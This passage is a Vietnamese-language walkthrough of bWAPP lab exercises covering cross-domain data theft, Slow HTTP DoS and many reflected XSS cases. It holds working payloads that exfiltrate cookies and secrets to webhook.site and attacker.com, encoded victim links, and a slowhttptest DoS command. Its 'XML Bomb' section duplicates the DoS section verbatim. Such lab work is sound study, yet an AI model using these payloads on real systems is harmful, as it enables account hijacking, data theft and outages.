xdx extends Sprite { public function xdx() { // Target URL from where the data is to be retrieved var readFrom:String = "http://itsecgames.com/bWAPP/secret.php"; var readRequest:URLRequest = new URLRequest(readFrom); var getLoader:URLLoader = new URLLoader(); getLoader.addEventListener(Event.COMPLETE, eventHandler); try { getLoader.load(readRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } private function eventHandler(event:Event):void { // URL to which retrieved data is to be sent var sendTo:String = "http://attacker.com/evil/xdx.php" var sendRequest:URLRequest = new URLRequest(sendTo); var variables:URLVariables = new URLVariables(); variables.data = event.target.data; sendRequest.method = URLRequestMethod.POST; sendRequest.data = variables; var sendLoader:URLLoader = new URLLoader(); try { sendLoader.load(sendRequest); } catch (error:Error) { trace("Error loading URL: " + error); } } } } ``` - Sau khi có đoạn code thì ta cần biên dịch ActionScript (AS) ở trên, công cụ mình chọn cho việc này là Apache Flex. Với cú pháp là ``` amxmlc xdx.as ``` - Sau đó tạo ra trang web php để nhận dữ liệu từ trang bí mật cũng như để người dùng truy cập vào. ```javascript= if(isset($_POST["data"])) { $req_dump = $_POST["data"]; $fp = fopen("xdx.log", "w"); fwrite($fp, $req_dump); fclose($fp); exit; } ?> <!DOCTYPE html> <html> <object type="application/x-shockwave-flash" data="xdx.swf" width="1" height="1"> <param name="movie" value="xdx.swf" /> </object> </html> ``` - Tuy nhiên trình duyệt từ năm 2020 đã không hỗ trợ flash nữa nên phần trên chỉ mang tính chất tham khảo Cross-Origin Resource Sharing (AJAX) --- **1. Chức năng của ứng dụng** - Chức năng của ứng dụng lần này cũng giống như trang web trước là khai thác để có thể lừa lấy được secret của người dùng Neo's (Hình 1.1 và Hình 1.2) ![image](https://hackmd.io/_uploads/HJCCCNkHC.png) Hình 1.1. Trang chính của ứng dụng ![image](https://hackmd.io/_uploads/SkxHkr1BC.png) Hình 1.2. Trang chứa secret của Neo - Lần này trong đoạn code của chương trình sẽ thiên về lỗi cấu hình đặc biệt trong bài này là là lỗi về `cross-domain-policy` - Lần này các cấu hình không để thẳng trong file chính của ứng dụng `sm_cors.php` (Hình 1.3 và 1.4) mà để rieeng trong từng file chứa secret của mỗi level là `secret-cors-1.php`(Hình 1.5), `secret-cors-2.php` (Hình 1.6) và `secret-cors-3.php`(Hình 1.7) ![image](https://hackmd.io/_uploads/HkCFQS1rA.png) Hình 1.3. Đoạn code hiển thị chính của trang web xử lí nội dung theo các level trong Hình 1.4 ![image](https://hackmd.io/_uploads/HyCVXS1HC.png) Hình 1.4. Đoạn code chia theo level để redirect ra các file khác nhau ![image](https://hackmd.io/_uploads/Syx4NBJH0.png) Hình 1.5. Đoạn code cấu hình CORS của trang web và nội dung hiển thị level Low ![image](https://hackmd.io/_uploads/BkNw4H1HC.png) Hình 1.6. Đoạn code cấu hình CORS của trang web và nội dung hiển thị level Medium ![image](https://hackmd.io/_uploads/HJIh4rJrC.png) Hình 1.7. Đoạn code cấu hình CORS của trang web và nội dung hiển thị level High **2. Đặt giả thuyết** - Ở level Low chính sách cross-main đang để là `*` có nghĩa là cho phép mọi tên miền truy cập. Vậy nếu ra sao nếu chúng ta tạo một trang web giả mạo để trộm thông tin ở file `secret-cors-1.php` trong tài khoản của người dùng ? - Ở level Medium có vẻ khá khó vì lần này chỉ domain là `intranet.itesecgames.com` mới có thể lấy dữ liệu được - CÒn level High thì không có câus hình trong code nên sẽ theo mặc định **3. Tiến hành khai thác** - Ở bài lab này người ta khuyên mình dùng Ajax request để lấy dữ liệu - Tạo trang web có đoạn code sử dụng AJAX để có thể lấy dữ liệu từ trang `secret-cors-1.php` ```javascript= <!DOCTYPE html> <html> <body> <script type="text/javascript"> function SendGET() { var xmlhttp; // Code for IE7+, Firefox, Chrome, Opera, Safari if (window.XMLHttpRequest) { xmlhttp=new XMLHttpRequest(); } // Code for IE6, IE5 else { xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { xmlResp=xmlhttp.responseText; document.location="https://webhook.site/4d87ab4d-9cf0-4492-ad1d-c515848819b6?x="+xmlResp; } } xmlhttp.open("GET","http://localhost:8080/bWAPP/secret-cors-1.php",true); // xmlhttp.withCredentials = true; xmlhttp.send(); } </script> <input type="button" OnClick="SendGET();" value="Send GET Request"> </body> </html> ``` - Sau khi tạo ra trang web trên cho người dùng truy cập vào thì dữ liệu từ trang `http://localhost:8080/bWAPP/secret-cors-1.php` sẽ được chuyển qua webhook (Hình 3.1) ![image](https://hackmd.io/_uploads/B1LalI1rR.png) Hình 3.1. Khi người dùng truy cập trang web giả mạo thì bên webhook sẽ nhận được dữ liệu như trên - Level medium và High thì phải tận dụng những trang web whitelist mà bị XSS mới có thể khai thác để đọc trộm như trên --- Denial-of-Service (Slow HTTP DoS) --- **1. Chức năng của ứng dụng** - Trang web lần này muốn chúng ta thực hiện Dos trang này bằng cách làm chậm các yêu cầu HTTP (Hình 1.1) ![image](https://hackmd.io/_uploads/SyBe4qSrR.png) Hình 1.1. Trang chính của ứng dụng **2. Đặt giả thuyết** - Có cách nào để gửi rất nhiều request tới làm cho server sẽ không xử lí được và bị xử lí rất chậm lại không ? **3. Tiến hành khai thác** - Có một công cụ cso thể giúp chúng ta làm điều này đó là `slowhttptest` - Dowload công cụ bằng command ``` apt install slowhttptest ``` - payload dùng coogn cụ để thực hiện Dos trong bài này đó là ``` slowhttptes -c 1000 -H -g -o slowhttp -i 10 -r 200 -t GET -u http://172.18.0.3/bWAPP/sm_dos_3.php -x 24 -p 3 ``` -c 1000: Số lượng kết nối đồng thời là 1000. -H: Sử dụng chế độ Slow Headers (Slowloris). -g: Tạo các tập tin đầu ra gnuplot. -o slowhttp: Tên tệp đầu ra là slowhttp. -i 10: Thời gian chờ giữa các gói dữ liệu là 10 giây. -r 200: Tốc độ tạo kết nối là 200 kết nối mỗi giây. -t GET: Sử dụng phương thức HTTP GET. -u http://172.18.0.3/bWAPP/sm_dos_3.php: URL mục tiêu. -x 24: Thời gian chờ tối đa của một kết nối là 24 giây. -p 3: Thời gian chờ giữa các lần gửi gói dữ liệu trong mỗi kết nối là 3 giây - Khi thực hiện thành công công cụ sẽ hiển thị như hình 3.1 ![image](https://hackmd.io/_uploads/r141LKrS0.png) Hình 3.1. Công cụ đang thực hiện việc gửi dữ liệu - Và trang web sẽ bị treo (Hình 3.2) ![image](https://hackmd.io/_uploads/SkiQLFrH0.png) - CPU cũng bị đẩy lên hơn 60% ![image](https://hackmd.io/_uploads/rkdPPtSBA.png) - CPU Khi bình thường chỉ sử dụng loanh quanh 0.1% ![image](https://hackmd.io/_uploads/HJPLCtBrR.png) --- Denial-of-Service (XML Bomb) --- **1. Chức năng của ứng dụng** - Trang web lần này muốn chúng ta thực hiện Dos trang này bằng XML Bomb (Hình 1.1 và Hình 1.2) ![image](https://hackmd.io/_uploads/HySBu9SrA.png) Hình 1.1. Trang chính của ứng dụng **2. Đặt giả thuyết** - Có cách nào để gửi rất nhiều request tới làm cho server sẽ không xử lí được và bị xử lí rất chậm lại không ? **3. Tiến hành khai thác** - Có một công cụ cso thể giúp chúng ta làm điều này đó là `slowhttptest` - Dowload công cụ bằng command ``` apt install slowhttptest ``` - payload dùng coogn cụ để thực hiện Dos trong bài này đó là ``` slowhttptes -c 1000 -H -g -o slowhttp -i 10 -r 200 -t GET -u http://172.18.0.3/bWAPP/sm_dos_3.php -x 24 -p 3 ``` -c 1000: Số lượng kết nối đồng thời là 1000. -H: Sử dụng chế độ Slow Headers (Slowloris). -g: Tạo các tập tin đầu ra gnuplot. -o slowhttp: Tên tệp đầu ra là slowhttp. -i 10: Thời gian chờ giữa các gói dữ liệu là 10 giây. -r 200: Tốc độ tạo kết nối là 200 kết nối mỗi giây. -t GET: Sử dụng phương thức HTTP GET. -u http://172.18.0.3/bWAPP/sm_dos_3.php: URL mục tiêu. -x 24: Thời gian chờ tối đa của một kết nối là 24 giây. -p 3: Thời gian chờ giữa các lần gửi gói dữ liệu trong mỗi kết nối là 3 giây - Khi thực hiện thành công công cụ sẽ hiển thị như hình 3.1 ![image](https://hackmd.io/_uploads/r141LKrS0.png) Hình 3.1. Công cụ đang thực hiện việc gửi dữ liệu - Và trang web sẽ bị treo (Hình 3.2) ![image](https://hackmd.io/_uploads/SkiQLFrH0.png) - CPU cũng bị đẩy lên hơn 60% ![image](https://hackmd.io/_uploads/rkdPPtSBA.png) - CPU Khi bình thường chỉ sử dụng loanh quanh 0.1% ![image](https://hackmd.io/_uploads/HJPLCtBrR.png) --- **VII. Cross Site Scripting (XSS): bWAPP** === XSS - Reflected (GET) --- **1. Chức năng của ứng dụng** - Cho phép người dùng nhập First name và Last Name (Hình 1.1), sau đó hiển thị lời xin chào cùng với First name và Last Name tương ứng mình vừa nhập (Hình 1.2) ![image](https://hackmd.io/_uploads/BkjpUjBr0.png) Hình 1.1. Trước khi nhập ![image](https://hackmd.io/_uploads/BJ0hBDe4C.png) Hình 1.2. Sau khi nhập thì hiện thị lời chào tương ứng ở đâu là abc và def - Tiếp tục mở code lên xem thấy rằng trong file `xss_get.php` chứa form nhập dữ liệu vào (Hình 1.3) và đoạn code xử lí để hiện thị dữ liệu ra (Hình 1.4) ![image](https://hackmd.io/_uploads/rJFSOPe4C.png) Hình 1.3. Form để hiện thị cho người dùng nơi nhập dữ liệu ![image](https://hackmd.io/_uploads/r1IBvorHR.png) Hình 1.4. Đoạn code xử lí dữ liệu người dùng nhập ở hình 1.3 bằng cách lấy dữ liệu từ yêu cầu GET và xử lí bằng hàm `xss` và sau đó hiện thị ra bên ngoài - Chúng ta cần biết hàm `xss` xử lí dữ liệu như thế nào để có thể khai thác sau này nên em đã tìm xem hàm này ở đâu để xem nó lọc dữ liệu vào như thế nào ? thì thấy rằng nó lọc tùy theo level mà mình chọn (Hình 1.5) ![image](https://hackmd.io/_uploads/SyednDoSSA.png) Hình 1.5. Đoạn code xử lí giá trị người dùng nhập vào theo 3 level - Tìm tiếp đến đến đoạn code chứa hàm `no_check` (Hình 1.6), `xss_check_1` (Hình 1.7) và `xxs_check_3` (Hình 1.8) để xem nó lọc đầu vào như thế nào trong file `functions_external.php` ![image](https://hackmd.io/_uploads/H1gdkdg4A.png) Hình 1.6. Đoạn xử lí dữ liệu ở hàm no_check ![image](https://hackmd.io/_uploads/B1XRvorr0.png) Hình 1.7. Đoạn xử lí dữ liệu ở hàm xss_check_4 ![image](https://hackmd.io/_uploads/ByQXE_l40.png) Hình 1.8. Đoạn xử lí dữ liệu ở hàm xss_check_3 **2. Đặt giả thuyết** - Dữ liệu được nhập và xử lí qua hàm `xss` sau đó được hiện thị lên trình duyệt, vậy nếu như hàm `xss` không sàng lọc kĩ liệu khi nhập code html lên trình duyệt có render nó như mã html tạo nên trang web đó không ? - Sau khi đọc 3 cách mà hàm `xss` sẽ xử lí thì em rút ra được từ 3 cái: - Level Low: Không filter gì có vẻ như nó sẽ chấp nhận mọi loại dữ liệu chúng ta nhập vào. - Level Medium: Dùng hàm `addslashes` không có tác dụng chống xss mà chỉ có tác dụng trong sqli vậy nên chúng ta cso thể kahi thác bình thường - Level High: Sử dụng hàm mặc định của php để chống lại XSS là `htmlspecialchars` có chức năng chuyển đổi các giá trị đặc biệt thành các HTML entities như trong hình 1.8 đoạn comment cũng có giải thích. Ngoài ra còn có các đối số đi kèm như `ENT_QUOTES` để filter thêm dấu `'` và encoding là `UTF-8` **3. Chứng minh giả thuyết** - Sau khi đọc 3 cách mà hàm htmli sẽ xử lí em sẽ kiểm chứng cho từng level - Level 1,2: Thử payload `<h1>abc</h1>` để xem sữ liệu mình nhập vào có được trình duyệt render hay không thì thấy rằng trình duyệt có xử lí thẻ h1 (Hình 3.1) ![image](https://hackmd.io/_uploads/ByIePpgVA.png) Hình 3.1 Kết quả của nhập payload `<h1>abc</h1>` - Level 3: Lần này ứng dụng web vẫn sử dụng cách đổi giá trị đặc biệt thành HTML entities và có các đối số đi kèm nên việc thử các payload ở thời điểm này là không khả thi **4. Tiến hành khai thác** **Level Low:** - Trong bài lab này mục tiêu của mình là có thể chiếm quyền điều khiển tài khoản của nạn nhân bằng cách đọc trộm cookie. - Đã thực hiện việc tìm ra lỗi XSS ở những phần trên nên bây giờ mình sẽ tiến hành tạo payload ```javascript= <script>fetch('https://webhook.site/id_webhook?x='+document.cookie)</script> ``` - Giải thích về payload ở trên: - Đầu tiền là tạo thẻ `<script>` để thực thi mã javascript - Sau đó sử dụng hàm fetch trong JavaScript được sử dụng để thực hiện các yêu cầu HTTP (GET, POST, vv.) từ trình duyệt. Trong trường hợp này, nó thực hiện một yêu cầu GET. - Tiếp theo sử dụng server webhook để có thể hứng request GET gửi tới - Cuối cùng là phần document.cookie để có thể đọc cookie hiện tại của nạn nhân và gửi cho kẻ tấn công - Link web hoàn thiện để gửi cho nạn nhân ```javascript= http://localhost/bwapp/htmli_get.php?firstname=%3Cscript%3Efetch%28%27https%3A%2F%2Fwebhook.site%2Fid_webhook%3Fx%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E&lastname=x&form=submit ``` - Sau khi nạn nhân click vào đường link này thì cookie của nạn nhân sẽ được gửi đến trang chủ của kẻ tấn công --- XSS - Reflected (JSON) --- **1. Chức năng của ứng dụng** - Cho phép người dùng tìm kiếm tên phim nếu không tìm thấy sẽ hiển thị ra tên phim mình nhập và thông báo (Hình 1.1) ![image](https://hackmd.io/_uploads/HJ4BSaBBC.png) Hình 1.1. Trang chính của ứng dụng web - Tiếp tục mở code lên xem thấy rằng trong file `xss_json.php` chứa form nhập dữ liệu vào (Hình 1.2) và đoạn code xử lí để hiện thị dữ liệu ra (Hình 1.3) ![image](https://hackmd.io/_uploads/SkNpOprBR.png) Hình 1.2. Form để hiện thị cho người dùng nơi nhập dữ liệu có sử dụng cả json ![image](https://hackmd.io/_uploads/r1iqxCSr0.png) Hình 1.3. Đoạn code xử lí dữ liệu người dùng nhập ở hình 1.3 **2. Đặt giả thuyết** - Ở level Low biến `$title` được đưa vào biến `$string` để hiển thị ra nếu không tìm thấy - Tuy nhiên nếu biến `$title` không được sàng lọc mà hiên thị ra trang web thì có thể bị xss **3. Chứng minh giả thuyết** - Đưa payload `<script>alert(origin)</script>` thì trang web không thực thi mã javasrcipt này mà hiển thị ![image](https://hackmd.io/_uploads/HJJeBRBHR.png) - Ctrl+U để xem mã html được hiển thị ra sao thì thấy rằng nó đã đóng lại lệnh script khi dùng `</script>` ![image](https://hackmd.io/_uploads/SyDHHCHSC.png) - Vậy nên chúng ta cần cắt riêng để thành 2 câu lệnh trong mã `javascript` bằng payload `"}]}';` để đóng lại đoan khai báo biến sau đó mới thực thi payload XSS `alert(origin)</script>` - Payload đầy đủ ``` "}]}';alert(origin)</script> ``` ![image](https://hackmd.io/_uploads/BJIJOASr0.png) **4. Tiến hành khai thác** **Level Low:** - Trong bài lab này mục tiêu của mình là có thể chiếm quyền điều khiển tài khoản của nạn nhân bằng cách đọc trộm cookie. - Đã thực hiện việc tìm ra lỗi XSS ở những phần trên nên bây giờ mình sẽ tiến hành tạo payload ```javascript= "}]}';fetch('https://webhook.site/id_webhook?x='+document.cookie)</script> ``` - Giải thích về payload ở trên: - Đầu tiền là tạo thẻ `"}]}';` để đóng lại câu lệnh khai báo biến trước - Sau đó sử dụng hàm fetch trong JavaScript được sử dụng để thực hiện các yêu cầu HTTP (GET, POST, vv.) từ trình duyệt. Trong trường hợp này, nó thực hiện một yêu cầu GET. - Tiếp theo sử dụng server webhook để có thể hứng request GET gửi tới - Cuối cùng là phần document.cookie để có thể đọc cookie hiện tại của nạn nhân và gửi cho kẻ tấn công - Link web hoàn thiện để gửi cho nạn nhân ```javascript= http://localhost:8080/bWAPP/xss_json.php?title=%22%7D%5D%7D%27%3Bfetch%28%27https%3A%2F%2Fwebhook.site%2F05395c58-7470-4cf1-9bd0-2d14f5ca29e3%3Fx%3D%27%2Bdocument.cookie%29%3C%2Fscript%3E&action=search ``` - Sau khi nạn nhân click vào đường link này thì cookie của nạn nhân sẽ được gửi đến trang chủ của kẻ tấn công ![image](https://hackmd.io/_uploads/BJx8wRrH0.png) --- XSS - Reflected (AJAX/JSON) --- **1. Chức năng của ứng dụng** - Cho phép yêu cầu người dùng nhập tên phim nhưng ở đây không có nút tìm kiếm vì đây là trang web AJAX nên nó sẽ cập nhật trang web mà không cần tải lại trang và tương tác giữa máy khách và máy chủ nếu không tìm thấy sẽ hiển thị ra tên phim mình nhập và thông báo (Hình 1.1) ![image](https://hackmd.io/_uploads/ByrQiArBR.png) Hình 1.1. Trang chính của ứng dụng web - Chèn thử mã javascript `<sctipt>alert(origin)</script>` thì trang web không hiện gì cả ![image](https://hackmd.io/_uploads/rydonRHrA.png) - Chúng tôi nhận được 0 kết quả vì phản hồi đến bằng JSON và mã JavaScript này bên trong dấu ngoặc kép. ![image](https://hackmd.io/_uploads/Hy_yR0rBC.png) **2. Đặt giả thuyết** - Trang web không thẻ chèn trực tiếp thẻ script vào như các bài trước vì PHP được xử lý trên máy chủ và chỉ gửi mã HTML cuối cùng (hoặc các dữ liệu khác) đến trình duyệt của người dùng. - Vậy nên liệu chúng ta có thể chèn được thẻ html khác cso thể thực thi được mã javascript không ? **3. Chứng minh giả thuyết** - Thử payload `<h1>Hello</h1>` - Thấy rằng trang web có xử lí thẻ html ![image](https://hackmd.io/_uploads/r1FEQyIrC.png) **4. Tiến hành khai thác** - Payload để thực hiện được javascript bên trogn tag html đó là `<img src=x onerror=alert(origin)>` ![image](https://hackmd.io/_uploads/HJV4EkLr0.png) - Trong bài lab này mục tiêu của mình là có thể chiếm quyền điều khiển tài khoản của nạn nhân bằng cách đọc trộm cookie. - Đã thực hiện việc tìm ra lỗi XSS ở những phần trên nên bây giờ mình sẽ tiến hành tạo payload ```javascript= <img src=x onerror=fetch('https://webhook.site/id_webhook?x='+document.cookie)> ``` - Link web hoàn thiện để gửi cho nạn nhân ![image](https://hackmd.io/_uploads/BJ8JSJ8S0.png) ``` http://localhost:8080/bWAPP/xss_ajax_2-2.php?title=%3Cimg%20src%3Dx%20onerror%3Dfetch(%27https%3A%2F%2Fwebhook.site%2Fc595cf0b-b490-4d88-90ba-ecb1d187bb94%3Fx%3D%27%2Bdocument.cookie)%3E ``` - Sau khi nạn nhân click vào đường link này thì cookie của nạn nhân sẽ được gửi đến trang chủ của kẻ tấn công ![image](https://hackmd.io/_uploads/rJX9VJ8rR.png) --- XSS - Reflected (AJAX/XML) --- **1. Chức năng của ứng dụng** - Cho phép yêu cầu người dùng nhập tên phim nhưng ở đây không có nút tìm kiếm vì đây là trang web AJAX nên nó sẽ cập nhật trang web mà không cần tải lại trang và tương tác giữa máy khách và máy chủ nếu không tìm thấy sẽ hiển thị ra tên phim mình nhập và thông báo (Hình 1.1) ![image](https://hackmd.io/_uploads/H1SB_18rA.png) Hình 1.1. Trang chính của ứng dụng web - Chèn thử tag html `<h1>Hello</h1>` trang web hiển thị `undefined` (Hình 1.2) ![image](https://hackmd.io/_uploads/rJHcOy8SR.png) Hình 1.2. Khi thử tag html - Vì trong phản hồi XML nếu nhập dấu ngoặc nhọn (< >) thì ứng dụng sẽ tạo ra node mới và tài liệu XML sẽ không hợp lệ. - Vì vậy, để thêm tải trọng của mình, chúng ta cần thực hiện mã hóa HTML. **2. Tiến hành khai thác** - Payload để thực hiện được javascript bên trogn tag html đó là `<img src=x onerror=alert(origin)>` ![image](https://hackmd.io/_uploads/HJV4EkLr0.png) - Mã hóa html ta được ``` <img src=x onerror=alert(origin)> ``` - Thử payload vào thì thấy thực hiện thành công ![image](https://hackmd.io/_uploads/HkkW1gUSC.png) - Trong bài lab này mục tiêu của mình là có thể chiếm quyền điều khiển tài khoản của nạn nhân bằng cách đọc trộm cookie. - Đã thực hiện việc tìm ra lỗi XSS ở những phần trên nên bây giờ mình sẽ tiến hành tạo payload ```javascript= <img src=x onerror=fetch('https://webhook.site/id_webhook?x='+document.cookie)> ``` - Mã hóa html ``` <img src=x onerror=fetch('https://webhook.site/c595cf0b-b490-4d88-90ba-ecb1d187bb94?x='+document.cookie)> ``` ![image](https://hackmd.io/_uploads/BJPlWgISA.png) --- XSS - Reflected (Back Button) --- **1. Chức năng của ứng dụng** - Ứng dụng có chức năng quay về trang trước khi tới trang hiện tại khi ấn nút `Go back` (Hình 1.1) ![image](https://hackmd.io/_uploads/HJzo_gLrR.png) Hình 1.1. Trang chính của ứng dụng web - Code html xuất hiện việc thực hiện javascript ![image](https://hackmd.io/_uploads/SJ84YgIHC.png) **2. Đặt giả thuyết** - Khi trang web đi về trang trước khi đến trang hiện tại chúng ta nghĩ ngay đến header `Referer` - Mà trang web đang sử mã javasrcipt để thực hiện điều này **3. Tiến hành khai thác** - Đầu tiên cần bật `Intercept is On` và Forward đến gói tin như trong hình 3.1 ![image](https://hackmd.io/_uploads/B1ZgN-UB0.png) Hình 3.1. Chặn lại gói tin ở trang chính ứng dụng - Chỉnh sửa giá trị header Referer thành payload thực thi mã javascript ``` ';alert(origin)' ``` - Lưu lại rồi bấm Forward để gói tin gửi tới server - Tắt chặn gói tin - Về trang chính là bấm `Go back` để mã `javascript` được thi - Thử payload vào thì thấy thực hiện thành công ![image](https://hackmd.io/_uploads/ry9YXb8SA.png) --- XSS - Reflected (Custom Header) --- **1. Chức năng của ứng dụng** - Ứng dụng có chức năng hiện thị nội dung của bWAPP header (Hình 1.1) ![image](https://hackmd.io/_uploads/S1I38GIrC.png) Hình 1.1. Trang chính của ứng dụng web **2. Đặt giả thuyết** - Liệu chúng ta có thể thêm header bWAPP để nội dung có thể hiển thị lên không ? - Nếu nội dung header được hiển thị lên mà là html có phải sẽ được thực thi không ? **3. Tiến hành khai thác** - Đầu tiên cần bật `Intercept is On` và Forward đến gói tin như trong hình 3.1 ![image](https://hackmd.io/_uploads/ByzATz8HC.png) Hình 3.1. Chặn lại gói tin ở trang chính ứng dụng - Thêm header bWAPP với dung là payload thực thi mã javascript ``` <script>alert(origin)</script> ``` - Tắt chặn gói tin và quay trở lại trình duyệt - Thấy payload thực hiện thành công ![image](https://hackmd.io/_uploads/rkwDCM8S0.png) --- XSS - Reflected (Eval) --- **1. Chức năng của ứng dụng** - Ứng dụng có chức năng hiển thị thời gian (Hình 1.1) ![image](https://hackmd.io/_uploads/ry1xPMLBR.png) Hình 1.1. Trang chính của ứng dụng web - Tuy nhiên có vẻ chương trình lấy hàm `Date()` đưa vào tham số `date` trên URL của method GET (Hình 1.2) ![image](https://hackmd.io/_uploads/SyHXlX8r0.png) Hình 1.2. Hàm Date()được sử dụng - Đoạn code trong file `xss_eval.php` quan trọng nhất đoạn (Hình 1.3) ![image](https://hackmd.io/_uploads/Bkwy-mLrA.png) Hình 1.3. Ứng dụng sử dụng eval() là một hàm JavaScript thực thi mã JavaScript từ một chuỗi **2. Đặt giả thuyết** - Trang web có vẻ lấy giá trị của hàm `Date()` để hiển thị trong phần thân chương trình - Nếu chúng ta thay giá trị này thì phần thân chương trình sẽ hiển thị kết quả như giá trị của tham số date trên URL **3. Tiến hành khai thác** - Lấy gói tin chứa Resquest GET chứa tham số date ![image](https://hackmd.io/_uploads/B1luX7UB0.png) Hình 3.1. Resquest chính của ứng dụng - Khi nhìn mã javascript (Hình 3.2) chúng ta có thể nhìn ra cách cần chèn gì để đúng instruction của phần này ![image](https://hackmd.io/_uploads/rk6SV78SC.png) Hình 3.2. Mã javascript chính của ứng dụng - Payload sau khi nhìn mã javascript để đúng cấu trúc instruction ``` alert(origin) ``` - Thử payload vào thì thấy thực hiện thành công ![image](https://hackmd.io/_uploads/r1zZL7UrC.png) --- XSS - Reflected (HREF) --- **1. Chức năng của ứng dụng** - Nhập tên của bạn để đi bình chọn phim (Hình 1.1) ![image](https://hackmd.io/_uploads/HJ4SPMIBC.png) Hình 1.1. Trang chính của ứng dụng web - Sau khi nhập tên và bấm Continue thì được chuyển sang trang để bình chọn phim ![image](https://hackmd.io/_uploads/S1BXpTIBR.png) Hình 1.2. Trang web `xss_href-2.php` bình chọn phim - Tuy nhiên khi để ý mã html có thể thấy ở chữ Vote xuất hiện hàm `href` để chuyển hướng người dùng sang trang kết quả mình vote ![image](https://hackmd.io/_uploads/ByPj6TISR.png) Hình 1.3. Trang web chuyển hướng người dùng dùng hàm `href` cũng các tham số như id phim, tên người dùng **2. Đặt giả thuyết** - Khi nhập tên người dùng ở trang web `xss_href-1.php` thì tên dùng sẽ được reflected lại tại 2 nơi là sau chữ `hello` và trong hàm `href` - Nếu ứng dụng web không sàng lọc kĩ liệu khi trình duyệt hiện thi tên người dùng mà dính mã javascript thì có bị xss không ? **3. Tiến hành khai thác** - Thử payload là `<script>alert(origin)</script>` - Thấy rằng ở sau chữ `hello` ứng dụng không xử lí như mã html mà chỉ có trong hàm `href` có vẻ đã bị lỗi hiển thị ![image](https://hackmd.io/_uploads/ryIQxRLBA.png) Hình 3.1. các giá trị trong ô vote đã bị lỗi hiển thị - Mở code html để xem thì thấy rằng dấu đóng thẻ của tag `script` phía trước đã được kết hợp với thẻ `<a` trước đó gây ra `href` sai và cả đoạn phía sau bị hiển thị vì không nằm trong thẻ `<a` nữa ![image](https://hackmd.io/_uploads/B15tMALBA.png) Hình 3.2. Mã html khi bị chèn thẻ sai - Chúng ta chỉ cần sửa lại bằng cách thêm dấu đóng thẻ phía trước đó `><script>alert(origin)</script>` - Thử payload vào thì thấy thực hiện thành công (Hình 3.3) ![image](https://hackmd.io/_uploads/rkzc7CLS0.png) Hình 3.3. Sau khi sửa paylaod đã thực hiện thành công --- XSS - Reflected (Login Form) --- **1. Chức năng của ứng dụng** - Ứng dụng này khá giống với một bài sqli trước đây (Hình 1.1) ![image](https://hackmd.io/_uploads/SyzsvGLBR.png) Hình 1.1. Trang chính của ứng dụng web **2. Đặt giả thuyết** - Trang web in ra lỗi khi thử dấu `'` nhưng lần này không khai thác sqli mà khai thác xss vì khi in ra lỗi thì thông báo lỗi chứa giá trị nhập ở ô login đây ra lỗi **3. Tiến hành khai thác** - Vậy nên chúng ta chỉ cần dùng payload dưới để có thể in ra lỗi ``` `;<script>alert(origin)</script>` ``` - Trang web đã in ra lỗi chứa mã `javascript` lên trình duyệt ![image](https://hackmd.io/_uploads/ryMpmkDH0.png) Hình 3.1. Khi điền payload dẫn đến hiển thị lỗi trên trình duyệt - Thực hiện thành công xss trang web ![image](https://hackmd.io/_uploads/ry9YXb8SA.png) --- phpMyAdmin BBCode Tag XSS --- **1. Chức năng của ứng dụng** - Bài này yêu cầu khai thác lỗ hổng XSS trong phpMyAdmin thông qua BBCode tags trong file error.php (Hình 1.1) ![image](https://hackmd.io/_uploads/HJNRDGUHA.png) Hình 1.1. Trang chính của ứng dụng web - Vào trang chứa CVE-201004480 để xem lỗ hổng liên quan đến phpMyAdmin (Hình 1.2) ![image](https://hackmd.io/_uploads/rJSS5kPSR.png) Hình 1.2. Trang web chứa thông tin liên quan đến CVE-2010-4480 - Sau khi vào tìm hiểu thì thấy có trang `EXPOIT-DB` chứa Poc nên tiếp tục truy cập vào để xem kĩ các khai thác lỗ hổng này hơn - Thấy rằng trang này giải thích qua về lỗ hổng và đặc biệt cho chúng ta PoC để khai thác luôn ![image](https://hackmd.io/_uploads/H13WskPHR.png) Hình 1.3. PoC khai thác lỗ hổng trên phpMyAdmin **2. Đặt giả thuyết** - Làm theo như PoC liệu có kahi thác được lỗi này ? **3. Tiến hành khai thác** - Đầu tiên truy cập vào đường dẫn /phpmyadmin/ và nhận được form đăng nhập (Hình 3.1) ![image](https://hackmd.io/_uploads/SJKzyevSA.png) Hình 3.1. Trang phpmyadmin của ứng dụng - Tuy nhiên là nó có 1 directory ẩn là error.php với tham số là tên lỗi và ci tiết lỗi tùy chỉnh tham số này (Hình 3.2) ![image](https://hackmd.io/_uploads/SyM9ZxDSC.png) Hình 3.2. Param ẩn - Do BBcode không thể thực thi các mã javascript nên chỉ có thẻ thực hiệc htmli - Chỉnh sửa giá trị thành payload thực thi direct sang trang bị xss khác ``` http://192.168.38.145/phpmyadmin/error.php?type=XSS&error=Example+error+[a@http://192.168.38.145/bWAPP/xss_get.php@_self]Click+here[/a] ``` - Trang web sau khi thêm payload vào các tham số trên URL ![image](https://hackmd.io/_uploads/r1fkI-vS0.png) --- XSS - Reflected (PHP_SELF) --- **1. Chức năng của ứng dụng** - Ứng dụng có chức năng giống như phần XSS - Reflected (GET) (Hình 1.1) ![image](https://hackmd.io/_uploads/HJefOGUH0.png) Hình 1.1. Trang chính của ứng dụng web - Khi nhìn vào code nó chỉ khác duy nhất biến `$_SEVER["PHP_SELF"]` ![image](https://hackmd.io/_uploads/HkVcfQvr0.png) Hình 1.2. Sự khác nhau giữa `XSS - Reflected (PHP_SELF)` và `XSS - Reflected (GET)` (Bên trái là `PHP_SELF`) - Tuy nhiên 2 biến khô --- XSS - Reflected (Referer) --- **1. Chức năng của ứng dụng** - Ứng dụng chỉ là hiện thị nội dung của header `Referer` lên nên có thể dẫn tới XSS (Hình 1.1) ![image](https://hackmd.io/_uploads/SJuEdMLBC.png) Hình 1.1. Trang chính của ứng dụng web - Tuy nhiên thì đã làm một bài tương tự ở trên khi thay đổi header `Referer` rồi nên em không làm lại nữa --- XSS - Reflected (User-Agent) --- **1. Chức năng của ứng dụng** - Ứng dụng có chức năng hiện thị nội dung của header `User-Agent`(Hình 1.1) ![image](https://hackmd.io/_uploads/S1gP_f8H0.png) Hình 1.1. Trang chính của ứng dụng web - Tuơng tự như header Referer thay đổi nội không làm ảnh hưởng đến gói tin nên có thể chỉnh sửa để thực thi XSS được --- XSS - Stored (Blog) --- **1. Chức năng của ứng dụng** - Cho phép người dùng nhập dữ liệu vào note (Hình 1.1), sau đó hiển thị đồng thời lưu trữ dữ liệu mình vừa 